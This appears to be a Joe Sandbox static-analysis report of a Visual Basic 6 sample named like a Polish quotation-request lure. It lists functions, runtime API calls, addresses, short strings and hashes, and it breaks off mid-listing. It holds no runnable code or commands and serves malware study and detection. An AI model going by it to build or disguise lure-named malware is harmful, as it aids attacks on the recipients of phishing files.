Opcode ID: 10bc9b33671cf09b2be45f840a71d39027787730a0e625a90ceabfc0ea0b6571
Instruction ID: 1563775ad5923100dd4d9da9d865aeb77b3bef46a6a949fae2e94889091cf12a
Opcode Fuzzy Hash: 10bc9b33671cf09b2be45f840a71d39027787730a0e625a90ceabfc0ea0b6571
Instruction Fuzzy Hash: 44510875A00219DBDB24EFA0DE49BDD7BB4BB44301F1081A9E14AF72A1DB385E85CF18

Function 0040D123 Relevance: 39.4, APIs: 26, Instructions: 364COMMON

Download Yara Rule

APIs

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D197
__vbaFreeObj.MSVBVM60 ref: 0040D1CF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D22E
__vbaChkstk.MSVBVM60(?), ref: 0040D264
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004077C4,00000020), ref: 0040D2A8
__vbaObjSet.MSVBVM60(?,?), ref: 0040D2DB
__vbaErrorOverflow.MSVBVM60 ref: 0040D522
__vbaOnError.MSVBVM60(00000001), ref: 0040D56C
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040D584
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D5A7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D5CB
__vbaObjSet.MSVBVM60(?,?), ref: 0040D5E2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,0000000C), ref: 0040D5F8
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D608
__vbaExitProc.MSVBVM60 ref: 0040D611

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorFree$ChkstkExitListNew2OverflowProc
String ID:
API String ID: 435708370-0
Opcode ID: 9749cd1c4f2270137a3b9f12548bda0f3a75b9f7e342ec696e87967a4431a42f
Instruction ID: fcce0bd25021f4c55c21d17dcae381c1af859cd8f25d7f86317db57e57613949
Opcode Fuzzy Hash: 9749cd1c4f2270137a3b9f12548bda0f3a75b9f7e342ec696e87967a4431a42f
Instruction Fuzzy Hash: CEE11774D00208EFDB14DFA4D988ADEBBB5FF48700F20816AE509BB291D7759985CFA4

Function 00418D00 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 221COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,6CF7A323,6CF8D8B1,?), ref: 00418D1E
__vbaOnError.MSVBVM60(000000FF,00000000,?,?,?,Function_000032B6,?), ref: 00418D4E
__vbaRecUniToAnsi.MSVBVM60(004054A0,?,?), ref: 00418D6E
__vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D77
__vbaStrMove.MSVBVM60 ref: 00418D85
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418D93
__vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D9C
__vbaStrMove.MSVBVM60 ref: 00418DAA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418DB8
__vbaStrToAnsi.MSVBVM60(?,DISPLAY,00000000), ref: 00418DCB
__vbaSetSystemError.MSVBVM60(00000000), ref: 00418DDD
__vbaRecAnsiToUni.MSVBVM60(004054A0,?,?), ref: 00418DF6
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00418E2D
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000084), ref: 00418EAD
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,0000008C), ref: 00418F3C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000278), ref: 00418FA4
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,000000E0), ref: 00419013
__vbaSetSystemError.MSVBVM60(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 0041905F
__vbaSetSystemError.MSVBVM60(?,?,00CC0020), ref: 00419078
__vbaErrorOverflow.MSVBVM60 ref: 004190C9

Strings

DISPLAY, xrefs: 00418DBF

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$AnsiError$CheckHresult$System$Move$ChkstkFreeListOverflow
String ID: DISPLAY
API String ID: 226413627-865373369
Opcode ID: 6a05cb85e494f777eff56ca68d8a3db58f76e04dcff3142400466dc6ab06a324
Instruction ID: a062e320558ca6fff28f45832f19da439656b4792b9b718fe8d8c950d48b1413
Opcode Fuzzy Hash: 6a05cb85e494f777eff56ca68d8a3db58f76e04dcff3142400466dc6ab06a324
Instruction Fuzzy Hash: 2BA12875940219EFDB24DF50CD89FEAB7B4FB48300F1085EAE50AA7290D7745A84DF64

Function 0042A090 Relevance: 36.9, APIs: 20, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
__vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
__vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
__vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
__vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7
__vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A200

Strings

@2@, xrefs: 0042A0ED

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Error$AnsiCopySystemUnicode$BstrChkstkList
String ID: @2@
API String ID: 653519621-343359795
Opcode ID: f6150098f43948e90806c12a3c2991bf29e9ad6a5940e6859ad760a911545430
Instruction ID: 4db5018945ba0d113f70efc3efbfc2014598e300a345278f9012389ef60e75fd
Opcode Fuzzy Hash: f6150098f43948e90806c12a3c2991bf29e9ad6a5940e6859ad760a911545430
Instruction Fuzzy Hash: B741CCB2900149EFCB04EFE4DE49EDEBBB9EB48705F108159F602B61A0DB756A44CB64

Function 00404FF6 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040D86E
__vbaOnError.MSVBVM60(000000FF,?,00000000,Function_000032B6), ref: 0040D8B5
__vbaStrCat.MSVBVM60( RO,00000000,?,00000000,Function_000032B6), ref: 0040D8ED
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040D8F8
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,00000000,Function_000032B6), ref: 0040D911
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040D91C
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000,?,00000000,Function_000032B6), ref: 0040D937
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040D952
__vbaStrMove.MSVBVM60(?,?,Function_000032B6), ref: 0040D95D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040D977
__vbaStrMove.MSVBVM60(?,?,Function_000032B6), ref: 0040D982
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000), ref: 0040D99D
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040DA0C
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040DA33
__vbaStrMove.MSVBVM60 ref: 0040DA3E
__vbaFreeStr.MSVBVM60(00000000), ref: 0040DA4D

Strings

MR, xrefs: 0040DA2E
Once, xrefs: 0040D90C, 0040D972
C, xrefs: 00404FF6
RO, xrefs: 0040D8E8, 0040D94D

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Free$List$#580ChkstkError
String ID: MR$ RO$C$Once
API String ID: 3619039755-2541133078
Opcode ID: 51f8670c5577a9d60adca4f5475f3347c83c433d099adc03e5839f88fcd5abb2
Instruction ID: cb69084c84231b04a80139a54d6e55147a6181afad02e942266a88f85e06280e
Opcode Fuzzy Hash: 51f8670c5577a9d60adca4f5475f3347c83c433d099adc03e5839f88fcd5abb2
Instruction Fuzzy Hash: 67515C71A00204EFD700DFD4DE8ABAE77B4EF48704F60816AF501B72A1DBB85A45CB69

Function 00415D20 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

__vbaStrCat.MSVBVM60( !@,00409278,?,00000001), ref: 00415D70
__vbaStrMove.MSVBVM60(?,00000001), ref: 00415D7D
__vbaStrCat.MSVBVM60(00409280,00000000,?,00000001), ref: 00415D85
__vbaStrMove.MSVBVM60(?,00000001), ref: 00415D8C
__vbaInStr.MSVBVM60(00000000,00000000,?,00000001), ref: 00415D90
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000001), ref: 00415DA2
__vbaStrCat.MSVBVM60( !@,004095AC,?,-00000001), ref: 00415DD0
__vbaStrMove.MSVBVM60(?,-00000001), ref: 00415DD7
__vbaStrCat.MSVBVM60(00409280,00000000,?,-00000001), ref: 00415DDF
__vbaStrMove.MSVBVM60(?,-00000001), ref: 00415DE6
__vbaInStr.MSVBVM60(00000000,00000000,?,-00000001), ref: 00415DEB
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,-00000001), ref: 00415DFD
__vbaLenBstr.MSVBVM60 ref: 00415E10
__vbaLenBstr.MSVBVM60(?,?), ref: 00415E43
#631.MSVBVM60(?,-00000002,?,?), ref: 00415E59
__vbaStrMove.MSVBVM60(?,-00000002,?,?), ref: 00415E64
__vbaFreeVar.MSVBVM60(?,-00000002,?,?), ref: 00415E69
__vbaErrorOverflow.MSVBVM60 ref: 00415EB9

Strings

!@, xrefs: 00415D49, 00415DB3, 00415E53, 00415D63, 00415DCF
AHA !@, xrefs: 00415D4C, 00415DC4, 00415E0A, 00415E16

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Free$BstrList$#631ErrorOverflow
String ID: !@$AHA !@
API String ID: 43011225-1712571822
Opcode ID: 1d0fd53414f82b8a5140894465822627a2b2e4415d5277366693652de8302a8f
Instruction ID: 81cdc0ee054e8d02015220d1a651034c4d5d80587a79404b4572d844a8d9d7d0
Opcode Fuzzy Hash: 1d0fd53414f82b8a5140894465822627a2b2e4415d5277366693652de8302a8f
Instruction Fuzzy Hash: CC412E75E00208AFC704DFA4DD85EEE7BB9EB88701F10416AF905E72A1DB749D45CBA8

Function 00404FCF Relevance: 34.9, APIs: 23, Instructions: 352COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040CFFE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040D02E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004077C4,0000001C), ref: 0040D0C9
__vbaI2I4.MSVBVM60 ref: 0040D0ED
__vbaFreeObj.MSVBVM60 ref: 0040D0FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D197
__vbaFreeObj.MSVBVM60 ref: 0040D1CF

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CheckHresult$Free$ChkstkError
String ID:
API String ID: 1728155253-0
Opcode ID: 3c944235882b9afb45df9b4f0640810cfb7f24e8e2d8d4c98d1c623bf1b17505
Instruction ID: 5eaa79c7dd67bbe53d223c6610bcbbbf959998076f90a4c84057eb8df8a5bbf3
Opcode Fuzzy Hash: 3c944235882b9afb45df9b4f0640810cfb7f24e8e2d8d4c98d1c623bf1b17505
Instruction Fuzzy Hash: 73F10374D00208EFDB14DFA4C988ADEBBB5FF48304F20816DE50AAB291D779A985CF55

Function 00419C60 Relevance: 34.7, APIs: 23, Instructions: 171COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00419C7E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00419CAE
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00419CCB
__vbaSetSystemError.MSVBVM60(00000002,00000000,?,?,?,00000000,Function_000032B6), ref: 00419CE7
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 00419D24
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00419D3D
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 00419D56
__vbaStrFixstr.MSVBVM60(00000104,?,00000001), ref: 00419DB5
__vbaStrMove.MSVBVM60 ref: 00419DC3
__vbaInStr.MSVBVM60(00000000,004099EC,00000000), ref: 00419DD1
__vbaStrFixstr.MSVBVM60(00000104,?,-00000001), ref: 00419DED
__vbaStrMove.MSVBVM60 ref: 00419DFB
#616.MSVBVM60(00000000), ref: 00419E02
__vbaStrMove.MSVBVM60 ref: 00419E10
__vbaLsetFixstr.MSVBVM60(00000104,?,?), ref: 00419E29
__vbaStrMove.MSVBVM60 ref: 00419E51
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00419E67
__vbaSetSystemError.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00419E83
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 00419EA8
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00419EC1
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 00419EDA
__vbaSetSystemError.MSVBVM60(?), ref: 00419F0D

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$System$AnsiMove$Fixstr$#616ChkstkFreeListLset
String ID:
API String ID: 3958989997-0
Opcode ID: 79f13ceaef8f2061b8b80027d96b1a3ea6df7ed6deb9aed4509d8a0052579542
Instruction ID: f493f75851a7fc0dbfc09fa37243ff87ef1c3d0c798e8d4c224362c0094269ff
Opcode Fuzzy Hash: 79f13ceaef8f2061b8b80027d96b1a3ea6df7ed6deb9aed4509d8a0052579542
Instruction Fuzzy Hash: D5612D71901259EFDB10EFA0CE4CBEEB778EB48305F1081E9E10AB6190DB785A84CF58

Function 00422700 Relevance: 34.6, APIs: 23, Instructions: 111COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0042271E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042274B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0042275A
#648.MSVBVM60(0000000A), ref: 00422779
__vbaFreeVar.MSVBVM60 ref: 00422788
__vbaI2I4.MSVBVM60(?), ref: 0042279C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 004227AA
__vbaI2I4.MSVBVM60 ref: 004227BA
#570.MSVBVM60(00000000), ref: 004227C1
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004227CE
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 00422801
#525.MSVBVM60(00000000), ref: 00422808
__vbaStrMove.MSVBVM60 ref: 00422813
__vbaI2I4.MSVBVM60 ref: 00422823
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 0042282E
__vbaI2I4.MSVBVM60 ref: 0042283E
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 0042284B

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422866
__vbaI2I4.MSVBVM60 ref: 00422876
__vbaFileClose.MSVBVM60(00000000), ref: 0042287D
__vbaFreeStr.MSVBVM60(004228BA), ref: 004228AA
__vbaFreeStr.MSVBVM60 ref: 004228B3
__vbaErrorOverflow.MSVBVM60 ref: 004228D0

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$BstrFile$#516#631Error$#525#570#648ChkstkCloseCopyGet3OpenOverflowSeek
String ID:
API String ID: 2204187013-0
Opcode ID: 033fe3c34fbbcf343d2ddb18182b1ad3dc07b0f00dff811bdd5c950921dea067
Instruction ID: 20b1ae5d524e12f90e8be89b45e8a07560083909273999c33b36cc12d9e9d757
Opcode Fuzzy Hash: 033fe3c34fbbcf343d2ddb18182b1ad3dc07b0f00dff811bdd5c950921dea067
Instruction Fuzzy Hash: 3441DC71D00248EFDB04EFA4DB4DBDEBBB4EB48705F108169E502B76A0DB785A44CB69

Function 004264F0 Relevance: 31.7, APIs: 21, Instructions: 182COMMON

Download Yara Rule

APIs

__vbaAryConstruct2.MSVBVM60(?,0040A1B4,00000011,00000000,6CFB285F,6CFA1654), ref: 00426547
__vbaSetSystemError.MSVBVM60(00000000,?,00000040,?,00000000), ref: 00426571
__vbaSetSystemError.MSVBVM60(?,?,00000002), ref: 00426582
#537.MSVBVM60(00000000), ref: 00426592
__vbaStrMove.MSVBVM60 ref: 0042659F
#537.MSVBVM60(?,00000000), ref: 004265AB
__vbaStrMove.MSVBVM60 ref: 004265B2
__vbaStrCat.MSVBVM60(00000000), ref: 004265B5
__vbaStrMove.MSVBVM60 ref: 004265C0
__vbaStrCmp.MSVBVM60(0040A198,00000000), ref: 004265C8
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004265E5
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 00426619
__vbaSetSystemError.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042662F
#537.MSVBVM60(?,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426640
__vbaStrMove.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426647
__vbaStrCmp.MSVBVM60(0040A1AC,00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042664F
#537.MSVBVM60(00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426666
__vbaStrMove.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042666D
__vbaStrCmp.MSVBVM60(0040A1A4,00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426675
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,00000004,?,00000000,?,?,?,00000000), ref: 004266AD
__vbaAryDestruct.MSVBVM60(00000000,?,00426706), ref: 004266FF

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$#537ErrorSystem$FreeList$Construct2Destruct
String ID:
API String ID: 2170920009-0
Opcode ID: ee103aa960844d6c0c66a8e010ce742ea9115f4b6a67e78245a25efa224450b7
Instruction ID: fe4e2f04ec6deddc8f2c7747cb95564e443f1ff94db73ec5ebb53e34e52d70e0
Opcode Fuzzy Hash: ee103aa960844d6c0c66a8e010ce742ea9115f4b6a67e78245a25efa224450b7
Instruction Fuzzy Hash: 4E51A371E002299BDB24DBB4CD45FEEBBB9EF48700F20822AE545FB291DA745904CF94

Function 00428E40 Relevance: 31.7, APIs: 21, Instructions: 166COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 00428E91
__vbaCastObj.MSVBVM60(00000000,0040A2F8), ref: 00428E9F
__vbaObjSet.MSVBVM60(?,00000000), ref: 00428EAA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4), ref: 00428ED0
__vbaFreeObj.MSVBVM60 ref: 00428EDD
__vbaCastObj.MSVBVM60(00000000,0040A2F8), ref: 00428EF0
__vbaObjSet.MSVBVM60(?,00000000), ref: 00428EFB
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4), ref: 00428F1B
__vbaFreeObj.MSVBVM60 ref: 00428F20
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428F45
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A308,00000078), ref: 00428F65
__vbaStrCopy.MSVBVM60 ref: 00428F6D
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007B0), ref: 00428F94
#519.MSVBVM60(?), ref: 00428F9A
__vbaStrMove.MSVBVM60 ref: 00428FA5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00428FB9
__vbaFreeObj.MSVBVM60 ref: 00428FC5
__vbaLenBstr.MSVBVM60(?), ref: 00428FCF
__vbaRaiseEvent.MSVBVM60(?,00000001,00000001), ref: 00428FFC
__vbaExitProc.MSVBVM60 ref: 0042900E
__vbaFreeStr.MSVBVM60(00429046), ref: 0042903F

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Cast$#519BstrCopyErrorEventExitListMoveProcRaise
String ID:
API String ID: 2502233557-0
Opcode ID: 8b414a5269651d8513c98d17b5e9cc8c7bd7953f7acd46c9466d2aa84f4a978d
Instruction ID: 8420092584710669aa1959ba4e0b61b057cd928f4a57778ab52aa14ced9d5afd
Opcode Fuzzy Hash: 8b414a5269651d8513c98d17b5e9cc8c7bd7953f7acd46c9466d2aa84f4a978d
Instruction Fuzzy Hash: DC513C71A01218ABDB00EFA5DE48EDEBBB8FF58704F10416AF505F62A0D7789905CF69

Function 00419820 Relevance: 31.6, APIs: 21, Instructions: 114COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041983E
